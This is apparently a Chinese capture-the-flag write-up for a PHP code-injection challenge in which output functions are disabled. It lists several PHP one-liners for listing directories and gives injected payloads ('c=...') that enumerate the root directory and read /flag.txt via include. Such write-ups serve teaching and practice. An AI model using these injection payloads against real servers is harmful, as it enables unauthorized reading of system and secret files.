上来就显示
highlight_file()
被禁用了,先看看目录有什么,发现var_dump
也被禁用了,参考南方大佬读取目录的方式print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
因为
print_r
也被禁用了,所以可以用后面的几种方式,原理是通过遍历数组的形式进行读取c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";}
读取
flag.txt
c=include('/flag.txt');